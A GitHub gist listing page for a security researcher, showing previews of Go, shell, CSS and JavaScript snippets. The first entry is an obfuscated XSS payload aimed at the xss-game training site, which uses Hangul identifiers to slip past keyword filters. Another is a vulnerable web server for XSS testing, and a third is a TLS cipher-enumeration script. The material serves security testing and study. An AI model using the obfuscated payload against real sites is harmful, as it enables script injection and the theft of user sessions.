Skip to content

Instantly share code, notes, and snippets.

Avatar
I love coffee!

HAHWUL hahwul

I love coffee!
View GitHub Profile
View hangul-xss.txt
https://xss-game.appspot.com/level1/frame?query=%3Cscript%3E([,%ED%95%98,,,,%ED%9B%8C]=[]%2B{},[%ED%95%9C,%EA%B8%80,%ED%8E%98,%EC%9D%B4,,%EB%A1%9C,%EB%93%9C,%E3%85%8B,,,%E3%85%8E]=[!!%ED%95%98]%2B!%ED%95%98%2B%ED%95%98.%E3%85%81)[%ED%9B%8C%2B=%ED%95%98%2B%E3%85%8E%2B%E3%85%8B%2B%ED%95%9C%2B%EA%B8%80%2B%ED%8E%98%2B%ED%9B%8C%2B%ED%95%9C%2B%ED%95%98%2B%EA%B8%80][%ED%9B%8C](%EB%A1%9C%2B%EB%93%9C%2B%EC%9D%B4%2B%EA%B8%80%2B%ED%95%9C%2B%27(45)%27)()%3C/script%3E
@hahwul
hahwul / xss-vuln-web-v2.go
Last active Mar 7, 2021
Vuln web for path based XSS testing
View xss-vuln-web-v2.go
package main
import (
"net/http"
"time"
"net/url"
"github.com/labstack/echo"
"github.com/tylerb/graceful"
)
@hahwul
hahwul / enum-ciphersuite.sh
Last active Feb 23, 2021
Emun cipher suite of website (only use openssl)
View enum-ciphersuite.sh
SERVER=$1
DELAY=1
ciphers=$(openssl ciphers 'ALL:eNULL' | sed -e 's/:/ /g')
echo Enum cipher list from $(openssl version).
echo "========================"
for cipher in ${ciphers[@]}
do
result=$(echo -n | openssl s_client -cipher "$cipher" -connect $SERVER 2>&1)
View golang-custom-flag-usage.go
package main
import (
"flag"
"fmt"
)
func main() {
flag.String("a", "", "flag 1")
flag.String("b", "", "flag 2")
flag.String("c", "", "flag 3")
@hahwul
hahwul / show-all-relative-path.sh
Created Feb 5, 2021
Show files and directories with relative path in directory
View show-all-relative-path.sh
tree -f | cut -d "." -f 2-99 | sort -u | tee paths
@hahwul
hahwul / token.go
Created Jan 22, 2021
Go generate token(SHA256)
View token.go
func MakeToken(url string) string {
now := time.Now()
nanos := now.UnixNano()
sum := sha256.Sum256([]byte(strconv.FormatInt(nanos,10)+url))
data := fmt.Sprintf("%x",string(sum[:]))
return data
}
@hahwul
hahwul / server.go
Created Jan 22, 2021
Go simple web server using echo
View server.go
package main
import (
"net/http"
"github.com/labstack/echo/v4/middleware"
"github.com/labstack/echo/v4"
"github.com/tylerb/graceful"
)
View concurrency.go
package main
import (
"fmt"
"strconv"
"sync"
)
func main() {
fmt.Println("vim-go")
@hahwul
hahwul / css-tooltip.css
Last active Jan 18, 2021
Tooltip using pure css
View css-tooltip.css
[data-tooltip-text]:hover {
position: relative;
}
[data-tooltip-text]:after {
-webkit-transition: bottom .3s ease-in-out, opacity .3s ease-in-out;
-moz-transition: bottom .3s ease-in-out, opacity .3s ease-in-out;
transition: bottom .3s ease-in-out, opacity .3s ease-in-out;
background-color: rgba(0, 0, 0, 0.8);
@hahwul
hahwul / darkmode.js
Created Dec 30, 2020
Darkmode with js
View darkmode.js
// Included this js
// <script src="https://cdn.jsdelivr.net/npm/darkmode-js@1.5.7/lib/darkmode-js.min.js"></script>
const options = {
bottom: '64px', // default: '32px'
right: 'unset', // default: '32px'
left: '32px', // default: 'unset'
time: '0.5s', // default: '0.3s'
mixColor: '#fff', // default: '#fff'
backgroundColor: '#fff', // default: '#fff'